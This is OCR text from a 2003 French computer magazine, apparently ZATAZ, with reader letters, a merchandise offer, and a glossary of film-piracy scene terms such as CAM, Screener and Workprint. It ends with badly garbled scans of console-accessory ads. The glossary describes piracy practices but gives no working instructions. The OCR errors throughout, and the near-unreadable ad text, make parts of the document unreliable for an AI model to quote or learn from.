en entier ? Car le vocabulaire se trouve
dans chaque parution, 4 Ia fin du journal,
page 30.

Yo ! Saviez-vous que votre journal est
piraté ? On le trouve sur des boards warez
qui le diffusent. Si cela vous intéresse, je
vous balance le nom de celui qui a réalisé
la copie et qui I'a diffusé ensuite.
(Anonyme - Mel - Donc pas anonyme)

Oui nous sommes au courant ! Notre
Journal, comme beaucoup d’autres
magazines sont piratés sur internet puis
diffusés. Quelque part je trouve méme cela

% ¥
g

. "
- " 5
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e

plutét gratifiant. Si des internautes le copies
pour le diffuser c’est que son contenu plait
et honnétement, lire un journal sur un écran
ce n'est pas top ! Plusieurs groupes warez
se sont spécialisés dans ce genre de copie
comme DTC, LiIBRARY, Killer Corporation...
Je ne vous raconte pas non plus s'il faut
Vimprimer. Ca va coiiter plus cher en papier
et en encre ! Pourquoi pensez-vous

que ZATAZ Magazine posséde autant

de couleurs :)

« Bonjour, vous vendez pas des tee-shirts
aux couleurs de ZATAZ ? »
« Vous n'auriez pas des casquettes
ZATAZ ? »
« Existe-t-il des maillots ZATAZ Mag ? »
Elodie — Marc — Laurent — Steeve —
Laurence - ... par mel

On vient de lancer 6 usines de pulls et de
bonnets. Bon ok je rigole, mais nous avons
effectivement des

tee-shirts,

trés sexe, aux

couleurs de

ZATAZ

Magazine, Au

début ils

n’étaient

destinés qu’aux

membres de I'équipe mais la demande
croissante nous a poussé a en créer pour
les lecteurs... Ils colitent 20 euros, frais de
port compris. Taille : S, L, XL, XLL. Blanc ou
noir. Pour en savoir plus taz@zataz.com

Consultez GRATUITEMENT des milliers d’annonces fraiches !

PC = Apple « Amiga ¢ Atari » Portables
Consoles e 8 bits  Imprimantes ¢ Cartes ¢
Mémoires » Stockage ® Processeurs © Livres
Logiciels ¢ Ecrans ¢ Pocket ¢ Bornes d‘arcade

Et aussi : Vidéo e Musique ¢ Jouets * Photo
* Divers * Recontres * Emploi ¢ Etc.

Avantages
+ PA gratuites a volonté
+ PA anonymes
+ Contact indirect possible

+ Protection des auteurs contre le spam
+ Saisie et édition ultra-simples
+ Moteur de recherche intégré
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Un spécial dictionnaire pour les mots de
vocabulaire utilisés dans le milieu de la copie de
films. De quoi se faire une idée de ce que peuvent
bien vouloir dire des expressions comme Telesync,
Screener, Workprint...

Asian Silvers

Des copies de films provenant d'Asie - Hong-Kong, Malaisie... - qui sont
achetées par des groupes américains ou européens puis ré encodees avec
Ies voix anglaises, francaises, allemandes... L'un des exemples les plus
marquants; Shaolin Soccer qui était sur le réseau en 2001 en version ukrai-
nienne sous-tifrée en chinois.

A.P.P.

Agence pour la protection des programmes. Association offrant aux
programmeuirs la possibilité de protéger leurs oeuvres, leurs logiciels.
Daniel Duthil est le créateur/responsable de |'agence depuis 1982.

B.S.A.

Business Software Alliance. Assaciation qui lutte contre les pirates de logiciels.
Elle est financée par de grosses sociétés éditrices de logiciels (Microsoft,
Corel, Adobe...). Elle n'a aucun pouvair judiciaire.

Busted
Terme désignant Iarrestation d'un pirate par la police.

Bootleg
Musique enregistrée lors d'un concert.

Deleter

Dans le warez, il y a pas mal de coup bas. Le plus connu reste le fait de vider
e ftp d'une team. Souvent des messages comme « Deleterz Sux » ou « Fuk U
Deleterz! » indique que le site a eté vide.

Cam
C'est une copie d'un film effectuée dans un cinéma avec un camescope.

DVDRip

La plus connug des copies car elle est extraite directement d'un DVD
commercial. On parle souvent de Divx alors que ce n'est que le format de
compression du DVDRip. Méme cas pour les VHS. On parlera alors de
VHSRip.

DivX

Cople connue aussi au format XviD. Ce format est utilisé sur divers standard
allant du Pc en passant par la Xbox.

Dupe
Correspond & une copie qui existait déja dans le passeé. Une copie réalisee par
un autre groupe warez.

Fake
Vigux programme ou faux programme. Il a pour but d'attirer des leecheurs, des
copleurs, vers une fausse copie pouvant contenir par exemple un virus.

IS0 :

Désigne des copies de CDRoms complets. En opposition au RIPS qui lui vient
du format 1SQ des logiciel de gravure. On nomme ce genre de copie des
‘images de CD".

Internal

Une copie Internal est réalisée par un groupe pour n'étre diffusée qu'au sein du
méme groupe. C'est souvent une demande d'un des membres & la recherche
diun titre précis. Une copie Internal ne peut pas étre diffusée sans l'accord de
la team qui I'a réalise.

Limited

Tous les films ne sortent pas dans 600 salles. Une copie d'un film Limited
correspond donc & une production sortie dans trés peu de cinéma.

Nuked

Rien a voir avec 'ami Duke... quoique ! La scéne warez parle d'une version
Nuke car la copie qui est sortie ne correspond pas aux attentes des pirates.
Mauvaise qualité, mauvais son, mauvais format, mauvaise humeur.
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Pre-air

Film ou émission diffusés par satellite. Seulement ici, le programme n'a pas
encore été diffusé. Les pirates vont lintercepter. Cas rare mais qui s'est déja
constaté. Pour 'ensemble des copies tirées de la télévision, on parle de TVRip.
Le TVRip a fait pas mal parlé de lui lors du premier Loft Story avec la copie
des ébats aquatique de Loana.

Proper

Message d'un groupe pas content de s'étre fait double dans Ia sortie d'une
nouveauté. Un Proper est aussi utilisé pour informer de la mauvaise qualité
d'une copie.

RARset

Une fois |a copie réalisée, les pirates découpent cette copie en plusieurs
dizaines de fichiers rar. Ceci permet de télécharger tranquillement une
contrefagon sans étre obligé de tout recommencer en cas de coupure

de connection.

Repack
Certaines copies ont un bug, un probléme qui est corrigee par un fix.
Une copie corrigée sera donc nommee Repack.

Straight To Video
Codifié en STV. Un film STV n'a jamais vu une salle de cinema.

Subbed

Certaines copies de films proposent des traductions en sous-litrage, elles sont
done annotées avec le mot Subbed. Les copies en SVCD permettent le mulfi
sous-itrage.

Screener

Cette copie est tirée d'une VHS envoyée par les attachés de presse ou par les
services marketing avant la sortie de la cassette en commerce. On reconnait
ce genre de copie par l'apparition d'un logo, d'un message de la major qui
explique que ce film ne peut &tre vendu, loué ou prété. Aujourd'hui les films
sont équipés de messages anti-pirate et de numéros de téléphones a utiliser
en cas de piratage. Il existe le méme cas pour les DVD. La copie est appelée
DVDsecr.

SVCD
La Vidéo CD est une copie au format mpeg?, le format des DVD.

Telesync

L'abréviation est TS. Méme principe que la copie CAM sauf qu'ici le son est tiré
d'une source externe. Comprenez e son a été copié directement de la cabine
de diffusion par exemple. La différence avec la copie CAM est le bruit de fond.
Siil'y ades rires, des gens qui toussent, ce n'est pas une copie TS.

veD
La Vidéo CD est une copie-au format mpeg1. Elle est utilisée pour des copies
de films de mauvaises qualités comme pour une CAM.

Workprint

Une copie trés recherchée par certains collectionneurs car elle correspond au
piratage du film avant méme que ce dernier soit fini. Souvent volée lors d'une
projection teste ou directement sur un ban de montage. Dans ce dernier cas la
copie posséde en plus un timecode, un compteur temps pour e copier/coller
du monteur. Le Workprint est recherché par des fans de cinéma car ce dernier
peut posséder une fin ou des scénes différentes de celles diffusées en salle.
Le dernier: Workprint en date, le film The Hulk.

ﬂws-*

Le widescreen est le format d'une vidéo. Il existe le fullscreen qui correspond &
une copie en plein écran.




de la presse Internet francophone !

I:Iunez vos DUD et sauvez-les en Divk

4 SO0€ w59 uiller-aoue 2003

sc

'UITS _ de vos vaca
00% interhet

e Comment créer bl o
cheter des P design Eout prets : % VAL
:2Il1laigez radical \nf |eI ok de Windows! [

, gﬁf Robots

1 ’ .-

et % % ls font tout pour volf’s,
:?r;""""‘;u.. m.":‘:i':‘:ﬁf:u.m,..m vraiment tout ? - -
vos PC sur...une prise électrique ! :

www.netscope.org




http://www.ominfo.com

Mowette QL %
pouy *bow. (’5(’ Ldem(}ard Vibreur pouv

Mﬁ‘jtﬁ; g%}ap Yreawrcast

L 7.50 €

'Super Bow. %
wolwelle version

14.90 € Volawt

Cruiser
pouv PSL

mafry; Bacleups et twvports
p s sy PGS sawns puce {
Super Box 3

Plus de 400
références
pour PS2, PSOne,

Retirouvez toutes Les GameCube, Xbox,

s Dreamcast, GP 32...
noLvealttes MADRICS
LE spécialiste

Sty o tnfo.coun ! Internet pour
tous vos
accessoires
Une console a gagner

ALLO COMMANDE st jeux video !
03 25 31 47 28 14.90 €

Paiement sécurisé .
— wswssc  Garantie "OR™ { o Cfﬁ.V'te
CARTE i

SaEva i O L A V8 UWrEUNOIVe

http://www.ominfo.com pouy Gowne Gube
OMINFO.COM - BP 207 - 52006 CHAUMONT CEDEX - FAX 03 25 31 69 79 g

Création Axess Media contact@axess-media,com




